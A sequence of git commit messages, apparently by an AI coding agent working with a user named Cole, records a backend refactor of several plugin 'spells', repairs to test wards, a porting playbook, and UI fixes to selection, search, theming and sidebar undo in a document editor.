…heir spine Phase 1b of the backend convergence. Astrolabe's and magpie's daemons come into the build and then adopt six shared modules, so that six of the eight spine concerns have one implementation instead of two. WHAT A USER GETS `magpie extract` works again. It has been dead in the shipped plugin for eight days — since the CLI build at 7bb0f4a — because a bundle re-anchors `import.meta.dir` into dist/ and `remove.py` lives in scripts/. EVERY extract failed, including the default crop-only path, and answered {"ok":true,"cut":0,"failed":1} at exit 0, which is why nobody noticed. Found by porting, reproduced against develop before it was believed, and driven to real alpha out of the real rembg model. An agent tailing astrolabe survives a daemon restart with events, not just with a connection: the event log now stamps an epoch, and a resumed tail is replayed whole rather than filtered against a cursor from a dead process. A daemon with a listener is no longer killed under it (L1), driven both ways on both spells: alive at 12s with a tail held, gone 9s after it dropped. WHAT LANDED Chapter 1 relocated both servers to src/<spell>/backend/, emitting a committed dist/server.js behind a launcher at the path the CLIs already spawn — so the spawn line, the entry-point roster and exit-site-inventory needed no edit. Chapter 2 extracted src/kit/wire/{serveDist,eventLog,sse,housekeeping,discovery, heartbeat}.ts, adopted all six in both daemons, and put the heartbeat constant across the CLI/daemon seam — a value that could not previously cross, and the cleanest proof the seam is real. Two wards: the spawn-path ward (Cole's ruling) asserts every path-pinned non-bundled sibling of a BUILT backend resolves from the emitted location, with its population derived from buildableSpells() rather than a list. And ward 1b's emitted-root exemption stopped swallowing `bun`, which Bun's own builtinModules contains — a blindness this branch's own relocation would otherwise have walked into. WHAT IT DELIBERATELY DOES NOT REACH The restart gap is NARROWED, not closed (D23). Replay triggers only when since > seq strictly, so a tail that has seen exactly `ready` reconnects at equality and is still connected-and-silent — the ordinary state of a quiet board. It self-heals on the first real event and develop was silent after every restart, so this is strictly better, not a regression. The one-line `>=` is recorded as the WRONG repair: a healthy tail reconnects at the tip every time and would be handed the whole buffer again. The correct close is epoch-aware and belongs to the phase that teaches the other daemons to stamp an epoch. L1 is closed against a caller who FORGETS subscriberCount (a type error), not against one who passes () => 0, which compiles and re-expresses it. The wording is corrected in the log. Bounty's shutdown watchdog is a named absence, not an oversight: importing it would put the house's only unconditional process.exit inside a module every spell is about to bundle, one phase after D8 took that hazard out of `die`. Six spells still own their own spine. Two out-of-range inputs change meaning (D24). The kit-prose ward gained `grow`/`shrink` after a sentence in a kit module emitted .grow{flex-grow:1} into four unrelated spells' stylesheets — caught downstream by dist-check's reproduction arm, which is verbatim the failure that ward's header claims to prevent. Gate 1955 pass / 0 fail unpiped, dist-check both arms green, Contract 18 reproduces, and all 28 dist artifacts are byte-identical to develop except the four intended files. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
The pathfinder brief. Glamour is the first spell to take its whole backend from source-shipped into src/, emit both artifacts, and adopt the kit — and the first consumer of those modules that is not one of the two they were designed against. Measured first: 2,436 lines across six files plus ten test files, a surface that imports the skill folder seventeen times, `if (import.meta.main)` in BOTH entries (D12's defect, free this time), the 250 ms reconnect storm sitting in the open at cli.ts:623, and a CONFORMANT L0 acc grade that the port must not regrade. The deliverable that is not code: a new phase in the porting playbook, written from the journal. Five spells follow this path, and they follow it from what this one writes down. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…that should have caught it was blind Backend convergence Phase 2, chapter 1: relocate and build. glamour is the migration pathfinder — the first spell to take its WHOLE backend, CLI and daemon, out of the deployed skill folder and ship it built. Six modules and nine test files move to `src/glamour/backend/`. `shared/` stays, under D10's rule measured rather than assumed: 17 surface import sites, all of them into `shared/`, none into `scripts/`. Two launchers hold the old addresses; `dist/cli.js` and `dist/server.js` are emitted and committed. ⛔ THE PHASE'S FINDING IS ABOUT AN INSTRUMENT, NOT ABOUT GLAMOUR. `grimoire/spawn-path-ward.test.ts` — written in Phase 1b for exactly this defect class — was GREEN over a `dist/cli.js` that spawned a daemon at `dist/server.ts`, a file that does not exist. glamour's CLI spawned its own directory (`join(SCRIPT_DIR, "server.ts")`), correct only while the CLI and the daemon shared a folder; astrolabe's and magpie's up-and-back-down form was their style, not a house convention. The ward could not see it because its anchor pattern required a BARE `fileURLToPath` and glamour writes `Bun.fileURLToPath`, so every pin computed from that anchor was dropped — the ward printed eight pins, none of them glamour's, and passed 5/0. Repaired here, and the repair is the transferable part: the anchor pattern learned an optional qualifier, and a new cell asserts COVERAGE rather than population — every emitted backend that declares an anchor must yield at least one pin. Phase 1b predicted this failure mode in writing and prescribed "print both"; printing is not enough, because nobody reads a green ward's output. D27. `import-boundary-wards`'s `DECLARED_EMITTED_ROOTS` had the same shape — a hand-kept list inside a derived ward, where an omission is unseeing rather than exempting. glamour is declared and a new cell derives the required set from the tree, so the next port cannot go quietly unlisted. D28. Five instruments reddened and every one was right: the exit-site inventory (three CLI rows re-addressed, the daemon's E-terminal row staying at its launcher), ward 1a's dynamic escape (re-pinned at the emitted file), ward 1b's `bun` floor (glamour's type query is erased by the bundler; three → two), the scanner's kind pin, and `terminator-invariant`. `INTERNAL_ENTRY_POINTS` failed LOUDLY for the first time — the stale key made the relocated daemon look caller-facing and `flag-invariant` reported its private --port/--project as undocumented. Phase 1b saw the silent half of that hazard; this is the other. Also recorded (D30): `bun run build <spell>` and `bun run build` emit different bytes for the same surface source. dist-check verifies the whole-roster build, so the tree is consistent — but a per-spell build during a port dirties dist/ with no source change, and it led this author to a false "the committed dist is stale" finding that a control repeating the same step confirmed. Driven on a booted daemon through the real launcher chain, both halves: release (mode=release, the committed hashed chunks served, verbs and teardown clean, --version resolving plugin.json from dist/) and dev (mode=dev, Bun's dev-bundler paths, 42,754 B of Tailwind-compiled CSS, so Contract 5's cwd pin survives). Gate green unpiped: 1957 pass / 0 fail. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…widen to fit the third consumer
Backend convergence Phase 2, chapter 2: glamour's CLI and daemon adopt all of
`src/kit/wire/`. glamour is the first consumer of these modules that is not one
of the two they were designed against, and that is where the findings are.
⛔ TWO BOUNDARIES WERE WRONG FOR GLAMOUR, AND BOTH WIDENED RATHER THAN BENT THE
SPELL AROUND THEM. Same shape both times: the module encodes what astrolabe and
magpie AGREE on, and agreement is not design.
· `ErrExtra` gained `server` — the refusing daemon's body, verbatim. glamour
carries it and asserts the round trip for 400/404/409; astrolabe and magpie
both keep the HTTP number and throw the reason away. Seven of eight spells
front a daemon, so glamour is the one that got it right. D31. Writing the
cell for it also turned up that `errors.ts` had no test file at all.
· `SseClients` gained `send` — an out-of-band frame to a live stream that is
not in the replay log and carries no id. glamour announces presence on the
AGENT's SSE tail; the other two use their browser WebSocket. The alternative
was a parallel Set of controllers, which is verbatim the drift the registry
exists to remove. D32.
⭐ B5 IS DEAD BY CONSTRUCTION, MEASURED. Against a server that accepts /events,
answers 200 and ends the body immediately — the storm's exact trigger, since the
old loop reset its backoff on a successful OPEN:
OLD (6af53f2) 51 attempts / 14s, gaps flat at ~252 ms, forever
NEW 6 attempts, gaps 252 · 503 · 1001 · 2002 · 4002
It cannot be re-expressed because there is no loop left to put it in, and Phase
1a's second door is closed by the same implementation: the reset sits at the
first byte READ, not at a successful open.
L1 closed and driven both directions on a real daemon (--timeout 5): alive at
14s with a tail held, idle-closed 9s after the tail dropped. L3, L5, the
unlink-a-successor hazard, the never-firing dead-client catch, the payload `id`
overriding the cursor and the `?since=x` empty stream all close by adoption.
`src/glamour/backend/heartbeat.ts` is the seam: the heartbeat was a literal
inside `sseResponse` and the CLI had NO watchdog at all. `TAIL_IDLE_MS` is
DERIVED from glamour's own beat, per Phase 1a — it evaluates to 45,000 today,
which is also `--start-timeout`'s default, and the file says they are unrelated
so nobody de-duplicates them.
D8's audit performed by following the call graph: 12 `die` sites, ten
transitively-dying functions plus fifteen COMMANDS[].run closures, 25 further
invocation edges, 37 audited positions, ZERO inside a `try`. One CONDITIONAL
reported and deliberately not fixed (D34) — `postCmd`'s ECONNRESET catch would
swallow a CliError if one ever became reachable inside it.
`exit-site-inventory` records three REMOVED and none added: glamour's CLI now
has zero live process.exit sites, the third to reach that after magpie and
mind-mapper.
Three wire-observable changes named rather than smuggled (D35): the HTML charset,
the `: connected` opening comment (which broke two cells reading line 0 of the
stream), and a 150 ms teardown grace in place of 50.
Six artifacts across THREE spells are rebuilt here, because the kit is inlined
into every bundle and Contract 18 breaks otherwise. No stylesheet churn: the
Tailwind-prose hazard did not fire, checked rather than assumed.
acc re-run from the skill directory: CONFORMANT L0, core 17 / passed 16 /
failures 0 — unchanged by the port. Gate green unpiped: 1962 pass / 0 fail.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…our's failures
The deliverable that is not code. Five spells port after glamour — imago,
bounty, digestify, grapevine, mind-mapper — and they follow this.
Phase B sits after Phase 3, on a spell whose surface already ported, and takes
its whole backend out of the deployed skill folder: `src/<spell>/backend/`,
committed `dist/cli.js` + `dist/server.js`, two launchers, `src/kit/wire/`
adopted. Ten steps, each earned:
B1 what moves, from the imports · B2 the launcher pattern and why its PATH is
load-bearing · B3 `import.meta.main` is false in a bundle · B4 the
path-pinned-sibling class and the ward · B5 the reverse surface-import
re-point · B6 re-anchor the tests on a skill root and test the ARTIFACT ·
B7 hand-check every hand-kept list · B8 adopt the kit, `idleMs` DERIVED ·
B9 D8's reachability audit · B10 build, and mind the blast radius
Written failures-first, because a playbook assembled from what worked teaches
nobody the shape of the trap. The load-bearing ones:
· A ward whose POPULATION is derived is not thereby COVERED — the spawn-path
ward was green over exactly the defect it was written for, because glamour
spells its anchor `Bun.fileURLToPath`. Phase 1b predicted this shape in
writing and prescribed "print both"; printing is not enough.
· Do not copy a sibling's launcher path. "Up and back down" was two spells'
accident of style; glamour spawned its own directory and the symptom is a
45-second start timeout that blames the bundle build.
· A hand-kept list inside a derived ward is UNSEEING rather than exempting,
and an exclusion set is silent when a file leaves but loud when it arrives
somewhere uncovered.
· `process.env` in a `beforeAll` is process-global and leaks across a
directory's suites — it passed alone and failed in the directory.
· A per-spell build emits different bytes than the whole-roster build, and a
control that repeats the suspect step is not a control.
· A module extracted from two consumers encodes what those two AGREE on.
· `idleMs` is DERIVED from that spell's own heartbeat, never copied.
· D8's audit follows the call graph; it does not grep for `die(`.
The playbook's status changed with it: the SURFACE population stays CLOSED, and
the BACKEND population is OPEN with five subjects. Header, Applicability,
Approach Summary and Version History all re-framed so the document does not
contradict its newest phase.
Also the session record.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
.bun-version says 1.4.0; the Bun that builds every committed artifact is 1.3.14, arriving as bun-plugin-tailwind's peer rather than as a declared dependency. The package script resolves node_modules/.bin/bun; a bare `bun run src/build.ts` resolves PATH. Two bundlers, two outputs — a bare no-args build dirties all eight spells with export-ordering flips, and the pinned toolchain reproduces the committed bytes exactly. Found by the Phase 2 verify pass; pre-dates that branch. It already cost one false "the dist is stale" finding whose control repeated the suspect step. Aligning the two rewrites every artifact, so the direction is a decision, not a fix — filed with three options and a recommendation rather than applied. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…ing, not on its own regexes D27's coverage cell computed "declares an anchor" with the same two regexes it exists to backstop, so a spelling neither regex reads made the file EXEMPT rather than loud — the one case the cell was added for. Five spellings were driven against glamour's real dist/cli.js, each beside a SERVER_SCRIPT pointing at a nonexistent dist/server.ts, and all five passed 6/0: the two-step __fileName shim esbuild/Bun emit, import.meta.dirname, a two-segment qualifier, an interposed new URL(), and dirname(__filename). The gate is now the ingredients — import.meta.url/dir/dirname, fileURLToPath under any qualifier, __dirname/__filename, Bun.main — which no location-aware module can avoid naming. Every ingredient-bearing line must be READ (recognised as an anchor, or yielding a pin) or the cell reds naming the line; a file carrying any ingredient must still yield at least one pin; a file that anchors nothing is exempt, and that half is asserted too. The fifth spelling broke the repair's first version, which named four ingredients and looked complete. A synthetic calibration cell now pins all five plus the inert case, so the mutation is an instrument rather than a story. process.argv[1] is the declared remaining hole. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…y pass B10 was right by accident. "A per-spell build emits different bytes" is FALSE under the pinned toolchain: through node_modules/.bin/bun (1.3.14) a per-spell build reproduces the committed bytes exactly. The variable is the BINARY — `bun run build` resolves the package script's 1.3.14, a bare `bun src/build.ts` resolves PATH's 1.4.0 — so the stated remedy, "rebuild the roster", is exactly what an agent who typed the bare command does next, and it dirties all eight spells. The rule is now build-through-the-package-script, cross-referenced to the Bun-pin backlog item. B4 promised the ward is now loud. It is closer to true after the ingredient gate, but the honest instruction is a thing you DO: read your emitted anchor line, then confirm the ward's coverage row prints anchor-read=yes with a non-zero pin count for your spell. B9 scoped D8's audit to the literal token `die(`, under-counting glamour 12 to roughly 20 (13 die plus seven throw new UsageError). And "zero inside a try" is literally false — dispatch sits inside main's try, parseArgs inside dispatch's. The substantive claim survives because both catches propagate, which is the real test: not is-it-inside-a-try, but does any catch on the path SWALLOW. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
The generalisation the next five ports need stated once: a backstop computed from the same predicate it backstops is not a backstop. It is the second time this project has met the shape — Phase 1b's "a derived population is not coverage" is its sibling, and D27 answered that finding by building the answer out of the very predicate whose blindness was the problem. D36 records the five driven spellings, the ingredient gate, the declared process.argv[1] hole, and the options not taken. The journal carries the shape itself plus the mechanical test for it, and the note that trying to break the repair is what found the fifth spelling — a hole in the repair to the hole. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… (E51)
Cole, in the app: any selection in rendered mode ran from the START of the
content to the cursor; it flickered while dragging; and it vanished on release
unless it happened to end at a paragraph boundary.
One cause for all three. `dangerouslySetInnerHTML={{ __html: html }}` allocates a
NEW OBJECT every render, and React 19 compares the prop object rather than the
`__html` string inside it — so every commit called `setInnerHTML` again and
replaced the entire subtree, even though the markup was character-for-character
identical. Reporting a selection re-renders; the re-render rebuilt every text
node; the browser re-anchored the now-homeless selection to the start of its
container. Hence a head stuck at the top of the document, a flicker per render,
and death on mouse-up.
This was LATENT before E51 and harmless, because nothing in that pane had ever
held DOM state worth keeping. Adding selection is what made it matter.
Measured rather than reasoned, because three plausible theories were wrong
first (focus theft in the composer, the Custom Highlight API, stale ranges): a
MutationObserver on `.md-prose` recorded 10 childList records for a single drag,
each removing all ten children and adding ten new ones, and a patched
`innerHTML` setter named the writer — React's own
`setProp -> updateProperties -> commitUpdate`.
The fix is to memoise the prop object. After it: a selection survives three
unrelated re-renders with ZERO mutations recorded.
Also here:
- The selection is no longer re-reported when the resolved range has not moved.
Each report costs a render, and a `selectionchange` for the same range is not
news.
- `sinks.test.ts` went blind and said so. It only scanned the inline
`{{ __html: x }}` shape, so hoisting the prop left it matching nothing — its
zero-guard caught that. It now scans BOTH shapes, separately enumerates every
`__html` writer in the surface (so a sink reached through one more level of
indirection is still declared), strips comments before scanning — it had
counted a `__html: html` written inside a comment in the ward itself — and
declares `htmlProp`, so "simplifying" back to the inline literal turns it red.
Gate 2429/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…ymptoms Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… as part of the filename Cole, clicking a link in Hollowbrook: `[Maren's Bakery](Maren's%20Bakery.md?rel=located-in)` did nothing. `resolveTarget` took the target exactly as written. `extractLinks` splits off the query, anchor and percent-encoding before building the graph (E49) — but the CLICK path does not: `link.open` carries the raw href. So `extname` read `.md?rel=located-in`, and the lookup went hunting for a file named after the whole string. Which is why it was confusing rather than obvious: the GRAPH drew that edge correctly the whole time. The map was right and the pointer was dead. Fixed in `resolveTarget` rather than at the call site, so all three callers get it and the two that already split are unaffected (splitting is idempotent). Four cells: a `?rel=` query, a `%20`, a `#anchor`, and all three at once — the Hollowbrook shape. Verified in a browser against the real folder: the click now opens Maren's Bakery, and the daemon's `openDoc` follows. Gate 2433/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… (E53)
Cole, through the app: "after I send a message there is like a thinking sort of
animation until you reply, just provides a little reassurance that something is
happening" — stolen from mind-mapper and glamour, as asked.
DERIVED, NEVER DECLARED, which is his ruling and the reasoning is the good part:
"we're not adding more tasks for the agent to have to explicitly do." An agent
that must remember to announce "thinking" will forget exactly when it matters —
it is busy, which is the situation being signalled. So nothing asks the agent
for anything: a human message with no agent message after it is a human waiting.
mind-mapper's rule taken whole — THE REPLY IS THE COMPLETION SIGNAL. No `done`
to emit, so no `done` to get out of sync. It fell out for free that `startTask`
posts as the AGENT (E50), so the happy path Cole described — "I'll get that
started", then a task, then a subagent — clears this by construction. Verified
live.
What the human sees, on the message they are waiting on:
- under 30 s (Cole's number): a pulse, "working on this…"
- at 30 s: STATIC, in the attention colour, "took this in, then went quiet — may
be stuck". A pulse is a claim that work is happening; running it over a wedged
agent is false liveness, and that is the one thing this must not do.
What the agent gets: ONE `{type:"waiting"}` on its tail, carrying the pending
message's TEXT and the two ways out. Never in the chat — the human already sees
the badge, and telling them what they are looking at is noise.
ONE NUDGE PER MESSAGE is the whole anti-nag rule: "we don't want a situation
where an agent keeps getting pinged about something and it's like, no, I'm
actually working." A message id enters the nudged set when reported or when
snoozed, and never leaves.
`working` is the snooze and carries nothing else — an agent with something to
say has `say` (a reply, which clears the wait) and `task-status` (progress on
declared work). A `note` field was built and removed for that reason. A snooze
EXPIRING changes what the human sees (back to stalled — they are owed the truth)
without pinging the agent again.
Measured end to end: pulse → stalled at 31 s → one nudge → snoozed back to a
pulse → stalled again on expiry → still exactly one nudge.
Two things the wards caught, both correctly:
- The new verb needed declaring, not just adding: the emitted declaration, the
help surface and the pinned brief roster all went red until `working` was
registered as a flag-bearing verb and re-declared.
- `tasks.clear` exists in BOTH `ClientMsg` and `AgentCmd`, so an anchored edit
put `working` in the wrong union — the same trap E50's duplicate `task.done`
hit. The type-check ward named it.
Also corrected a false claim in the architecture doc: it still said the chat
composer did not exist ("nothing in `surface/` ever sends `{type: "say"}`"),
which E48 made untrue.
Gate 2446/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…nnel, not forgotten Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…il that says when it dies, a dead session that says how to return Cole: "tackle those in the order you see fit." E54 · `dangling` — the links nothing answers, as file:line plus the string the document actually contains. `graph` already had these facts and buried them in several hundred edges, which is not the same as being able to check them. Two things the map was throwing away: an edge's `to` is the RESOLVED target, so a report built from it says `deep.md` where the file says `./missing/deep.md?rel=x`; and links are extracted from the BODY, so every line number was short by the frontmatter. Both fixed, both with cells — including one pinning that a fenced block shifts nothing, which was luck rather than design until it was asserted. E55 · the tail now says when it has lost the daemon. A graceful close emits `closed` and ends the tail; a crash, a `kill -9` or a sleeping laptop emits nothing, the client retries in silence, and the absence of events is not an event — so a watcher would wait forever without learning it had stopped listening. ONE line per episode, not per attempt, because the reconnect loop runs forever and a hook that spoke each time is how a watcher gets muted. A keepalive clears it: there is no `onConnect` hook and the daemon only sends comments down a live stream. Measured with `kill -9`: one `tail.disconnected`, still one after 40 s down, then one `tail.reconnected`. E56 · "no running scriptorium session" read like the work was gone. It never is — the manifest and every version file are on disk — so the hint now carries the command with the id already in it, and lists the restorable sessions. `--timeout 0` turned out to already work (the flag forwards, and `timeoutMs <= 0` means never), so the gap was discoverability: `open` says so, and the `ready` event carries `idle_timeout_s` so a standing session can be confirmed rather than discovered by losing one. And one item I had misdescribed to Cole: comparing against the file on disk was NOT missing — `DiffSide` includes `"original"` and it is the default side. What was missing was a route to it from the warning about it, so the conflict banner now offers "See the difference" ahead of the two buttons that each discard something. It also stopped claiming "while you have unsaved edits" unconditionally: his case was a reopened session where the file had moved on and the active version had no edits at all. A mirror got a guard. `GraphPayload` hand-duplicates `links.ts`'s `Edge` and `GraphNode` because `protocol.ts` is import-free on purpose; adding `raw`/`line` to the computing side alone drifted them and the type-check ward caught it. The duplication now has a guard of its own — and the first version of that guard was wrong in a useful way: two-way assignability is BLIND to an optional field added to one side, measured by planting exactly this drift and watching zero errors. It compares key sets now, verified red against the planted drift and clean without it. Gate 2456/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Cole found it by using it: select a passage, right-click, add a note — and the selection stayed attached to the composer, so the next message silently carried the same text. "I've made some notes, take a look at them" would arrive with the very passage the note was about. His ruling, and it is the right frame: the note IS the action you took with that passage. Attaching a selection to the composer is an offer — "talk about this" — and a note is one of the things you can do with it instead. The bug was treating the attachment as ambient when it is a pending act that another act had already answered. Cleared in the surface rather than the daemon, and the direction matters: the chip reads App's local selection, so clearing it there is what the human sees, and the existing effect reports the change onward so the daemon's copy — the one `say` attaches — agrees. Clearing daemon-side would have left the chip lying. Verified as his exact scenario: chip shows `prose.md · v1 · line 6 starter`, note added, chip gone, daemon `selection: null`, follow-up message carries nothing. Gate 2456/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Cole asked whether it existed. It did not — `@codemirror/search` was not installed and nothing wired it, so ⌘F did nothing at all. ⛔ The browser's own find is not a substitute, which is why this is a dependency rather than a shrug: CodeMirror 6 renders only the viewport, so a browser-level ⌘F silently misses every line scrolled out of view. That is worse than no search, because it answers confidently and wrongly. Not gated on `editable` — finding is reading. Panel on top, so it does not sit over the status strip. The panel is STYLED rather than accepted as shipped: `@codemirror/search` inherits the browser's default form controls, which in a themed surface reads as a piece of another application bolted above the document. The rules are the spell's own tokens, so both themes follow — the same reasoning that has `.md-prose` written by hand. Driven in a browser: ⌘F opens, three matches highlighted, the current one told apart from the others, Enter steps through them. One interaction left for Cole to rule on rather than decided here: stepping through matches sets the editor's selection, so it ATTACHES to the composer — measured, the daemon holds `text: "bridge"` after two Enters. E57's principle points both ways (search is sometimes navigation, sometimes how you find the passage you mean to discuss), so the suppression is offered and not applied. Gate 2456/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… mode
Cole, with a screenshot, minutes after E58 shipped.
`@codemirror/view`'s base theme carries `&light .cm-textfield { backgroundColor:
"white" }`, and `&light` versus `&dark` is chosen by whether the EDITOR THEME
declares `dark: true`. `scriptoriumTheme` does not, so CodeMirror believes the
editor is light in both themes and painted the field white. At `(0,2,0)` that
outranked the `input[type=text]` selector used here `(0,1,1)`, while the `color`
rule DID apply — near-white ink in a white box, in dark mode only.
Now scoped through `.cm-panel.cm-search .cm-textfield`, which is unambiguously
more specific than the base rule rather than relying on registration order, and
the colours remain the app's own tokens so the panel follows `data-theme`
without CodeMirror needing to know anything about it. Placeholder colour too,
which had the same problem more quietly.
Verified in BOTH themes by computed style — light `bg rgb(246,241,231)` /
`fg rgb(42,37,28)`, dark `bg rgb(21,19,15)` / `fg rgb(236,230,216)` — because
the miss was exactly that I had verified one.
Gate 2479/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… two kinds of answer (E59)
Cole's shape: a search bar in the header, centered; type and get a list of files
where there's a match, click one and it opens.
⛔ TWO MATCHERS, BECAUSE THERE ARE TWO QUESTIONS. Fuzzy on NAMES is for jumping
("mabak" → Maren's Bakery); exact on CONTENT is for finding ("where did I say
'asking-nicely'"). Fuzzy full-text would be the worst of both — `bridge` would
surface documents that merely contain similar-looking letters, and "this phrase
is on line 29" would stop being trustworthy, which is the only thing a content
search is for. Shown as two groups so the answer never pretends to be one
ranking.
Hand-rolled scorer, no dependency — Cole's call, offered against Fuse: there is
no second engine this has to agree with, so fuzzy ranking is a self-contained
taste judgment with no drift risk. Its cells assert ORDERINGS, never numbers
("contiguous beats scattered", "a word start beats mid-word", "shorter wins a
tie"), so the weights stay retunable without rewriting the suite.
⛔ AND THE SWAP SEAM IS CORPUS-SHAPED, which is the part worth reading. Cole
asked that the hand-rolled code be easy to replace with Fuse. The obvious seam —
a per-item `score(name, query)` hook — looks smaller and would have FOUGHT the
library it exists to admit: Fuse indexes a list and searches it, it does not
score one string at a time. `NameSearch(candidates, query, limit) → ranked` fits
both, so a move to Fuse is one adapter and one default changed with nothing else
moving. A cell proves it with a stand-in matcher.
Why the agent gets a verb at all, which is the judgment Cole delegated: it can
grep files, but it cannot grep WHAT THE HUMAN IS LOOKING AT. An open document is
shown as its ACTIVE VERSION, which lives under the session home rather than at
the original path, so grep over the workspace finds the saved file and misses
the text being read. Demonstrated, not argued: a phrase written only into `v2`
was invisible to `grep -rn` over the folder and found by `search` at
`maren.md v2` line 18. Hence ONE cross-document verb and NO in-document verb —
for a single document an agent can read or grep it, and a verb there would be
the layer that adds nothing.
Two surface rules that are less obvious than they look:
- Stale answers are DROPPED. Replies are asynchronous and the human keeps
typing, so the report carries its `query` and anything not matching the box is
discarded — results for a question already moved past are worse than nothing.
- The jump WAITS for the document. A result is clicked while another document is
open, so revealing at once would scroll the wrong document to an offset that
means nothing in it.
Driven in a browser in both themes — ⌘K focuses, the active-version-only phrase
is found, clicking it opens the document and selects the phrase, and a name
query shows both groups. Contrast checked in each theme, since shipping one
theme unverified is what went wrong an hour ago.
Gate 2479/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Cole: arrows at the top of the context header that light up as you move things around, and "an undo for this sidebar that isn't the same as undo redo when you're in the editor". ⛔ PLACEMENT IS THE EXPLANATION. ⌘Z in the text belongs to CodeMirror and always will; these step through acts on the SHAPE of the context — a move, a rename, a document removed from the list. The keyboard follows the same rule: ⌘Z is the context's only while focus is INSIDE that pane, scoped by letting the event bubble to the panel rather than by a window listener that would have to guess which undo the human meant. ⛔ UNDOING A CREATION DELETES, BEHIND A CONFIRMATION — and this reversed my own design. I built a hard block first (undo never deletes) and Cole pushed back: blocking does not refuse one step, it STRANDS EVERYTHING BEHIND IT. Create a folder, do two moves, undo the moves, and you meet a wall you can never pass, at which point the history has stopped being a history. The clinching argument was his second one: the thing undo would remove is one the session made moments ago, usually empty, and the app already had the dialog for it in version delete. ⛔ ONE LIMIT NO DIALOG CAN AUTHORISE: a non-empty folder is refused. Undo runs backwards, so it empties a folder before reaching that folder's creation; if contents remain then something put them there the history does not know about, and removing a directory TREE is a different act. `rmdirSync` rather than a recursive remove, so ENOTEMPTY is a second net under the explicit check. ⛔ A CONFIRMED DELETE HAS NO REDO, and says so by planning null — a redo that "re-creates" the file would hand back an empty one wearing the same name, which is the kind of lie an undo stack must not tell. ⛔ AND THE KEYBOARD IS NOT OFFERED THE DELETION: there is no dialog in a keystroke, and a reflex that removes a file is the one thing this must not grow into. ⚠ The inverse is built WHEN THE ACT HAPPENS, from what was true then. A move records where the thing came from because only the mover knows; a hide records the entry's WHOLE hidden list, because reading it afterwards returns the list including what was just hidden, which restores nothing. A no-op is not recorded at all — an arrow that steps over acts which changed nothing lies about how far back it can go. The stacks are in memory, because an inverse describes the world as it is now and a restored session may meet files moved by hand since. Driven end to end: a rename undone ON DISK (the file came back as a.md), redo offered with an accurate label, a created folder deleted through the dialog, the non-empty refusal leaving both the folder and the act untouched, and ⌘Z inside the pane stepping the history while refusing the deleting step. Gate 2500/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Cole, within a minute of E60 landing: a file deleted through undo stayed in the
sidebar, and the next document with the same name came out oddly numbered.
Both halves were one bug, one level apart. `removeCreated` called `rescan` on
every context entry — and `rescan` RETURNS EARLY for any entry that is not
`mirrored`. A single document is a `listed` entry, so nothing pruned it: the file
left the disk and the node stayed on screen. One level down, the `DocRecord`
outlived the file too, so its slug stayed taken and the next `Untitled.md` became
`untitled-2` while the file on disk was plain `Untitled.md`.
Evidence from his own session rather than inference: `c-aeb0b9 listed →
…/Spellbook/Untitled.md` and `untitled-2 → …/Spellbook/Untitled.md`, both
pointing at a path that no longer existed.
`forgetPath` prunes by hand what `rescan` will not look at, drops an entry the
pruning empties, and forgets records for a path that is gone. Two cells, both
verified RED against the old code and green with the fix: one for the sidebar,
one for the freed slug. Driven in a browser too — creating, undoing with
confirmation, and creating again now yields the slug `untitled`, not
`untitled-2`.
⛔ DELIBERATELY NOT SELF-HEALED ON RESTORE. Pruning anything missing at load
would conflate two different situations: a file that vanished BETWEEN sessions is
already reported as a finding ("Save would recreate it"), and forgetting its
record would throw away versions the human can still save back. Only residue
from a deletion we performed is forgotten, and only when it happens.
Gate 2506/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
